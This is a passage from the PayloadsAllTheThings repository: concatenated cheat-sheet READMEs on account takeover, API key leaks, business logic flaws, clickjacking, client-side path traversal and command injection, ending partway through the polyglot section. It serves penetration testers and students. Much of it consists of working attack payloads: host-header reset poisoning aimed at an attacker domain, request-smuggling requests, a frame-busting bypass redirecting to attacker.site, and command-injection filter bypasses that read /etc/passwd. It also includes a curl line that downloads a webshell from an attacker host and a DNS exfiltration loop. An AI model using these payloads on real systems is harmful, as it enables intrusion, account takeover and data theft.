File: README.md
Payloads All The Things
A list of useful payloads and bypasses for Web Application Security.
Feel free to improve with your payloads and techniques!
You can also contribute with a :beers: IRL, or using the sponsor button.
An alternative display version is available at PayloadsAllTheThingsWeb.
:book: Documentation
Every section contains the following files, you can use the _template_vuln folder to create a new chapter:
- README.md - vulnerability description and how to exploit it, including several payloads
- Intruder - a set of files to give to Burp Intruder
- Images - pictures for the README.md
- Files - some files referenced in the README.md
You might also like the other projects from the AllTheThings family :
- InternalAllTheThings - Active Directory and Internal Pentest Cheatsheets
- HardwareAllTheThings - Hardware/IOT Pentesting Wiki
You want more? Check the Books and YouTube channel selections.
:technologist: Contributions
Be sure to read CONTRIBUTING.md
Thanks again for your contribution! :heart:
:beers: Sponsors
This project is proudly sponsored by these companies.
File: _template_vuln/README.md
Vulnerability Title
Vulnerability description - reference
Summary
Tools
- username/tool1 - Description of the tool
- username/tool2 - Description of the tool
Methodology
Quick explanation
ExploitSubentry 1
Subentry 2
Labs
References
File: Account Takeover/README.md
Account Takeover
Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
Summary
Password Reset Feature
Password Reset Token Leak via Referrer
- Request password reset to your email address
- Click on the password reset link
- Don't change password
- Click any 3rd party websites(e.g., Facebook, twitter)
- Intercept the request in Burp Suite proxy
- Check if the referer header is leaking password reset token.
Account Takeover Through Password Reset Poisoning
Intercept the password reset request in Burp Suite
Add or edit the following headers in Burp Suite :
Host: [ATTACKER.DOMAIN.TLD],X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]Forward the request with the modified header
httpPOST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: [ATTACKER.DOMAIN.TLD]Look for a password reset URL based on the host header like :
https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN
Password Reset via Email Parameter
# parameter pollution
[email protected]&[email protected]
# array of emails
{"email":["[email protected]","[email protected]"]}
# carbon copy
[email protected]%0A%0Dcc:[email protected]
[email protected]%0A%0Dbcc:[email protected]
# separator
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected]IDOR on API Parameters
Attacker have to login with their account and go to the Change password feature.
Start the Burp Suite and Intercept the request
Send it to the repeater tab and edit the parameters : User ID/email
powershellPOST /api/changepass [...] ("form": {"email":"[email protected]","password":"securepwd"})
Weak Password Reset Token
The password reset token should be randomly generated and unique every time.
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence (<6 characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- Trigger a password reset request using the API/UI for a specific email e.g: [email protected]
- Inspect the server response and check for
resetToken - Then use the token in an URL like
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset via Username Collision
- Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g:
"admin " - Request a password reset with your malicious username.
- Use the token sent to your email and reset the victim password.
- Connect to the victim account with the new password.
The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245
Account Takeover Due To Unicode Normalization Issue
When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.
- Victim account:
[email protected] - Attacker account:
demโ@gmail.com
Unicode pentester cheatsheet can be used to find list of suitable unicode characters based on platform.
Account Takeover via Web Vulnerabilities
Account Takeover via Cross Site Scripting
- Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain :
*.domain.com - Leak the current sessions cookie
- Authenticate as the user using the cookie
Account Takeover via HTTP Request Smuggling
Refer to HTTP Request Smuggling vulnerability page.
Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
powershellgit clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -hCraft a request which will overwrite the
POST / HTTP/1.1with the following data:powershellGET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X:Final request could look like the following
powershellGET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X: X
Hackerone reports exploiting this bug
Account Takeover via CSRF
- Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
- Send the payload
Account Takeover via JWT
JSON Web Token might be used to authenticate a user.
- Edit the JWT with another User ID / Email
- Check for weak JWT signature
References
- $6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020
- 10 Password Reset Flaws - Anugrah SR - September 16, 2020
- Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020
- CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020
- Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020
File: API Key Leaks/README.md
API Key and Token Leaks
API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.
Summary
Tools
aquasecurity/trivy - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets.
blacklanternsecurity/badsecrets - A library for detecting known or weak secrets on across many platforms.
irsdl/crapsecrets - A library for detecting known secrets across many web frameworks.
d0ge/sign-saboteur - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens.
mazen160/secrets-patterns-db - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
momenbasel/KeyFinder - is a tool that let you find keys while surfing the web.
streaak/keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.
trufflesecurity/truffleHog - Find credentials all over the place.
projectdiscovery/nuclei-templates - Use these templates to test an API token against many API service endpoints.
powershellnuclei -t token-spray/ -var token=token_list.txt
Methodology
- API Keys: Unique identifiers used to authenticate requests associated with your project or application.
- Tokens: Security tokens (like OAuth tokens) that grant access to protected resources.
Common Causes of Leaks
Hardcoding in Source Code: Developers may unintentionally leave API keys or tokens directly in the source code.
py# Example of hardcoded API key api_key = "1234567890abcdef"Public Repositories: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
ps1## Scan a Github Organization docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity ## Scan a GitHub Repository, its Issues and Pull Requests docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-commentsHardcoding in Docker Images: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
ps1# Scan a Docker image for verified secrets docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secretsLogs and Debug Information: Keys and tokens might be inadvertently logged or printed during debugging processes.
Configuration Files: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
Validate The API Key
If assistance is needed in identifying the service that generated the token, mazen160/secrets-patterns-db can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.
patterns:
- pattern:
name: AWS API Gateway
regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
confidence: low
- pattern:
name: AWS API Key
regex: AKIA[0-9A-Z]{16}
confidence: highUse streaak/keyhacks or read the documentation of the service to find a quick way to verify the validity of an API key.
Example: Telegram Bot API Token
ps1curl https://api.telegram.org/bot<TOKEN>/getMe
Reducing The Attack Surface
Check the existence of a private key or AWS credentials before committing your changes in a GitHub repository.
Add these lines to your .pre-commit-config.yaml file.
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v3.2.0
hooks:
- id: detect-aws-credentials
- id: detect-private-keyReferences
- Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019
- Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024
- Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018
- Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020
File: Business Logic Errors/README.md
Business Logic Errors
Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
Summary
Methodology
Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
Common examples of Business Logic Errors.
Review Feature Testing
- Assess if you can post a product review as a verified reviewer without having purchased the item.
- Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
- Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
- Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
- Investigate the possibility of posting reviews impersonating other users.
- Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
Discount Code Feature Testing
- Try to apply the same discount code multiple times to assess if it's reusable.
- If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
- Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
- Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
- Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
Delivery Fee Manipulation
- Experiment with negative values for delivery charges to see if it reduces the final amount.
- Evaluate if free delivery can be activated by modifying parameters.
Currency Arbitrage
- Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
Premium Feature Exploitation
- Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
- Purchase a premium feature, cancel it, and see if you can still use it after a refund.
- Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
- Review cookies or local storage for variables validating premium access.
Refund Feature Exploitation
- Purchase a product, ask for a refund, and see if the product remains accessible.
- Look for opportunities for currency arbitrage.
- Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
Cart/Wishlist Exploitation
- Test the system by adding products in negative quantities, along with other products, to balance the total.
- Try to add more of a product than is available.
- Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
Thread Comment Testing
- Check if there's a limit to the number of comments on a thread.
- If a user can only comment once, use race conditions to see if multiple comments can be posted.
- If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
- Attempt to post comments impersonating other users.
Rounding Error
The report hackerone #176461 describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.
The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.
- Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
- Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.
The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.
In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.
References
- Business Logic Vulnerabilities - PortSwigger - March 5, 2026
- Business Logic Vulnerability - OWASP - April 22, 2020
- CWE-840: Business Logic Errors - CWE - March 24, 2011
- Examples of Business Logic Vulnerabilities - PortSwigger - September 22, 2020
File: Clickjacking/README.md
Clickjacking
Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on โDelete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
Summary
Tools
Methodology
UI Redressing
UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
- How UI Redressing Works:
- Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a ``) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like
opacity: 0;. - Positioning and Layering: By setting the CSS properties such as
position: absolute; top: 0; left: 0;, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it. - Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
- User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
- Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a ``) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like
[Click me](malicious-link)Invisible Frames
Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
- How Invisible Frames Work:
Hidden IFrame Creation: The attacker includes an `` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
htmlLoading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
Button/Form Hijacking
Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
How Button/Form Hijacking Works:
- Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
htmlClick me- Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
html<form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> </form>- Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
htmlClick me <form action="legitimate-site" method="POST" id="hidden-form"> </form> <script> function submitForm() { document.getElementById('hidden-form').submit(); } </script>
Execution Methods
- Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
</form>- Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
function submitForm() {
document.getElementById('hidden-form').submit();
}Preventive Measures
Implement X-Frame-Options Header
Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.
Header always append X-Frame-Options SAMEORIGINContent Security Policy (CSP)
Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
Example in HTML meta tag:
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">Disabling JavaScript
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
There are three deactivation techniques that can be used with frames:
- Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
html- Sandbox attribute: with HTML5 there is a new attribute called โsandboxโ. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
html
OnBeforeUnload Event
The
onBeforeUnloadevent could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.The attacker can use this attack by registering an unload event on the top page using the following example code:
<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return " Do you want to leave fictitious.site?";
}
</script>- The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a "HTTP/1.1 204 No Content" header.
204 page:
<?php
header("HTTP/1.1 204 No Content");
?>Attacker's Page:
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker.site/204.php";
}
}, 1);
</script>XSS Filter
IE8 XSS filter
This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
<script>
if ( top != self )
{
top.location=self.location;
}
</script>Attacker View:
ifโ>Chrome 4.0 XSSAuditor filter
It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a โscriptโ by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
Attacker View:
Challenge
Inspect the following code:
Click meDetermine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
Labs
References
- Clickjacker.io - Saurabh Banawar - May 10, 2020
- Clickjacking - Gustav Rydstedt - April 28, 2020
- Synopsys Clickjacking - BlackDuck - November 29, 2019
- Web-Security Clickjacking - PortSwigger - October 12, 2019
File: Client Side Path Traversal/README.md
Client Side Path Traversal
Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
Summary
Tools
- doyensec/CSPTBurpExtension - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
Methodology
CSPT to XSS
A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject ../ sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
Example:
- The page
https://example.com/static/cms/news.htmltakes anewsitemidas parameter - Then fetch the content of
https://example.com/newitems/<newsitemid> - A text injection was also discovered in
https://example.com/pricing/default.jsvia thecbparameter - Final payload is
https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//
CSPT to CSRF
A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
| CSRF | CSPT2CSRF | |
|---|---|---|
| POST CSRF ? | :white_check_mark: | :white_check_mark: |
| Can control the body ? | :white_check_mark: | :x: |
| Can work with anti-CSRF token ? | :x: | :white_check_mark: |
| Can work with Samesite=Lax ? | :x: | :white_check_mark: |
| GET / PATCH / PUT / DELETE CSRF ? | :x: | :white_check_mark: |
| 1-click CSRF ? | :x: | :white_check_mark: |
| Does impact depend on source and on sinks ? | :x: | :white_check_mark: |
Real-World Scenarios:
- 1-click CSPT2CSRF in Rocket.Chat
- CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost :
/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate - CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
- Client Side Path Manipulation - erasec.be: CSPT2CSRF
https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a= - CVE-2023-5123 : CSPT2CSRF in Grafanaโs JSON API Plugin
Labs
- doyensec/CSPTPlayground - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
- Root Me - CSPT - The Ruler
References
- Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - July 2, 2024
- Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - July 2, 2024
- Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24, 2024
- Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - August 30, 2023
- On-site request forgery - Dafydd Stuttard - May 3, 2007
- Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - May 10, 2024
- Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024
- CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024
- Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025
File: Command Injection/README.md
Command Injection
Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
Summary
- Tools
- Methodology
- Filter Bypasses
- Bypass Without Space
- Bypass With A Line Return
- Bypass With Backslash Newline
- Bypass With Tilde Expansion
- Bypass With Brace Expansion
- Bypass Characters Filter
- Bypass Characters Filter Via Hex Encoding
- Bypass With Single Quote
- Bypass With Double Quote
- Bypass With Backticks
- Bypass With Backslash And Slash
- Bypass With $@
- Bypass With $()
- Bypass With Variable Expansion
- Bypass With Wildcards
- Bypass With Random Case
- Data Exfiltration
- Polyglot Command Injection
- Tricks
- Labs
- References
Tools
- commixproject/commix - Automated All-in-One OS command injection and exploitation tool
- projectdiscovery/interactsh - An OOB interaction gathering server and client library
Methodology
Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
Example of Command Injection with PHP:
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
<?php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>In the above code, the PHP script uses the system() function to execute the ping command with the IP address or domain provided by the user through the ip GET parameter.
If an attacker provides input like 8.8.8.8; cat /etc/passwd, the actual command that gets executed would be: ping -c 4 8.8.8.8; cat /etc/passwd.
This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.
Basic Commands
Execute the command and voila :p
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...Chaining Commands
In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
;(Semicolon): Allows you to execute multiple commands sequentially.&&(AND): Execute the second command only if the first command succeeds (returns a zero exit status).||(OR): Execute the second command only if the first command fails (returns a non-zero exit status).&(Background): Execute the command in the background, allowing the user to continue using the shell.|(Pipe): Takes the output of the first command and uses it as the input for the second command.
command1; command2 # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2 # Execute command1 in the background
command1 | command2 # Pipe the output of command1 into command2Argument Injection
Gain a command execution when you can only append arguments to an existing command.
Use this website Argument Injection Vectors - Sonar to find the argument to inject to gain command execution.
Chrome
ps1chrome '--gpu-launcher="id>/tmp/foo"'SSH
ps1ssh '-oProxyCommand="touch /tmp/foo"' foo@foopsql
ps1psql -o'|id>/tmp/foo'
Argument injection can be abused using the worstfit technique.
In the following example, the payload ๏ผ --use-askpass=calc ๏ผ is using fullwidth double quotes (U+FF02) instead of the regular double quotes (U+0022)
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
curl
ps1# -o, --output <file> Write to file instead of stdout curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php
Inside A Command
Command injection using backticks.
bashoriginal_cmd_by_server `cat /etc/passwd`Command injection using substitution
bashoriginal_cmd_by_server $(cat /etc/passwd)
Filter Bypasses
Bypass Without Space
$IFSis a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret$IFSas a space.$IFSdoes not directly work as a separator in commands likels,wget; use${IFS}instead.powershellcat${IFS}/etc/passwd ls${IFS}-laIn some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
powershell{cat,/etc/passwd}Input redirection. The < character tells the shell to read the contents of the file specified.
powershellcat</etc/passwd sh</dev/tcp/127.0.0.1/4242ANSI-C Quoting
powershellX=$'uname\x20-a'&&$XThe tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value
09.powershell;ls%09-al%09/homeIn Windows,
%VARIABLE:~start,length%is a syntax used for substring operations on environment variables.powershellping%CommonProgramFiles:~10,-18%127.0.0.1 ping%PROGRAMFILES:~10,-5%127.0.0.1
Bypass With A Line Return
Commands can also be run in sequence with newlines
original_cmd_by_server
lsBypass With Backslash Newline
Commands can be broken into parts by using backslash followed by a newline
powershell$ cat /et\ c/pa\ sswdURL encoded form would look like this:
powershellcat%20/et%5C%0Ac/pa%5C%0Asswd
Bypass With Tilde Expansion
echo ~+
echo ~-Bypass With Brace Expansion
{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}Bypass Characters Filter
Commands execution without backslash and slash - linux bash
swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bashBypass Characters Filter Via Hex Encoding
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bashBypass With Single Quote
w'h'o'am'i
wh''oami
'w'hoamiBypass With Double Quote
w"h"o"am"i
wh""oami
"wh"oamiBypass With Backticks
wh``oamiBypass With Backslash and Slash
w\ho\am\i
/\b\i\n/////s\hBypass With $@
$0: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, $0 will typically give the name of the shell.
who$@ami
echo whoami|$0Bypass With $()
who$()ami
who$(echo am)i
who`echo am`iBypass With Variable Expansion
/???/??t /???/p??s??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}Bypass With Wildcards
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calcBypass With Random Case
Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, DIR, dir, or DiR will all execute the same dir command.
wHoAmiData Exfiltration
Time Based Data Exfiltration
Extracting data char by char and detect the correct value based on the delay.
Correct value: wait 5 seconds
powershellswissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s user 0m0.000s sys 0m0.000sIncorrect value: no delay
powershellswissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi real 0m0.002s user 0m0.000s sys 0m0.000s
Dns Based Data Exfiltration
Based on the tool from HoLyVieR/dnsbin, also hosted at dnsbin.zhack.ca
- Go to dnsbin.zhack.ca
- Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; doneOnline tools to check for DNS based data exfiltration:
Polyglot Command Injection
A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
Example 1:
